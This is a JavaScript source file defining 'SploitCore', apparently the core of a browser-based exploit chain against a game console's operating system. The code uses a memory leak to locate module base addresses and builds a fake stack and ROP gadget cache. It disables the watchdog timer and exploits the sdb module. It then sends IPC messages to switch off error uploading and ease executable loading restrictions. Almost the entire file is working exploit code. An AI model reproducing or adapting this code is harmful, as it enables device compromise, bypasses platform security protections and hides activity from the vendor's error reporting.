SploitCore = function (exploitMe) {
	this.gc();

	this.va = exploitMe.va;
	this.vb = exploitMe.vb;
	this.leakee = exploitMe.leakee;
	this.leakaddr = exploitMe.leakaddr;

	this.allocated = {};

	this.func = document.getElementById;
	this.func.apply(document, ['']); // Ensure the func pointer is cached at 8:9

	if (!SploitCore.prototype.importedMixins) {
		Object.keys(svcMixin).forEach((k) => {
			SploitCore.prototype[k] = svcMixin[k];
		});

		Object.keys(sploitMixin).forEach((k) => {
			SploitCore.prototype[k] = sploitMixin[k];
		});

		SploitCore.prototype.importedMixins = true;
	}

	this.sc = this;

	this.base = this.getBase();

	this.mainaddr = this.walkList();
	utils.dlog('Main address ' + utils.paddr(this.mainaddr));
	
	// This isn't exactly right, but really shouldn't matter.  As long as it's <= the real size, we won't crash.
	this.mainTextSize = 0x5B2000;
	this.wkcTextSize = 0xF37000;

	if (utils.version == 100) {
		this.mainTextSize = 0x5E7000;
	} else if (utils.version >= 500) {
		this.mainTextSize = 0x6F3000;
	}
	
	this.gadgetCache = this.loadCache();

	this.fake_stack = this.malloc(0x100000);

	this.ipcBuf = new Uint32Array(0x2000 >> 2);
	this.emptyIpcBuf = new Uint32Array(0x2000 >> 2); // Keep this empty.
	this.ipcBufAddr = this.getArrayBufferAddr(this.ipcBuf);
	this.sploitMixinInit();
	this.ipcServices = {};

	this.gc();

	this.enableTurbo();
	
	utils.log('Disabling watchdog timer...');
	this.disableWatchdog();

	var versbuf = new ArrayBuffer(0x100);
	this.ipcMsg(3).cDescriptor(versbuf).sendTo("set:sys").assertOk();
	this.version = utils.u8a2nullstr(new Uint8Array(versbuf, 0x68, 0x100-0x68));
	utils.log("System Version: " + this.version);
	
	var sc = this;

	if (config.sdbcore && utils.hasSmhax()) {
		utils.log('Pwning sdb module...');
		this.sdb = new SDBCore(this, this.version);
		if(!this.sdb.initialized) {
			utils.log('Failed to initialize sdb');
			this.sdb = null;
		}
	}

	/* Can't access any of this without smhax. */
	if (utils.hasSmhax()) {
		sc.getServices(["set:sys", "set:fd"], function (setsys, setfd) {
			var getSetting = function (session, cls, nam) { // session is set:sys
				var out = new Uint32Array(1);
				var x1 = utils.str2ab(cls);
				var x2 = utils.str2ab(nam);
				return sc.ipcMsg(38).bDescriptor(out, 4, 0).xDescriptor(x1, 48, 0).xDescriptor(x2, 48, 1).sendTo(session).asResult().map((r) => out[0]);
			}

			var setSetting = function (session, cls, nam, value) { // session is set:fd
				var a = new Uint32Array(1);
				a[0] = value;
				var x1 = utils.str2ab(cls);
				var x2 = utils.str2ab(nam);
				return sc.ipcMsg(2).xDescriptor(x1, 48, 0).xDescriptor(x2, 48, 1).aDescriptor(a, 4, 0).sendTo(session).asResult();
			}
			var cls = 'eupld', name = 'upload_enabled';
			var orig = getSetting(setsys, cls, name).assertOk();
			if(orig == 1) {
				utils.log('Disabling error uploading.');
				setSetting(setfd, cls, name, 0).assertOk();
			}

			if (this.version == '3.0.0') {
				orig = getSetting(setsys, "ro", "ease_nro_restriction").assertOk();
				if(orig == 0) {
					utils.log("Easing nro restriction...");
					setSetting(setfd, "ro", "ease_nro_restriction", 1).assertOk();
				}
			}
		});
	}

	if (utils.version != 100) {
		this.asyncCaller = new AsyncCaller(this);
	}
	
	utils.log('~~success');
}
Represents an instance of SploitCore
 @constructor
 @param {object} exploitMe - Reference to object used for leaking data
 @property {u64} base - Base address
 @property {boolean} isBrowser - Returns true
 @property {string} name - Returns "browser"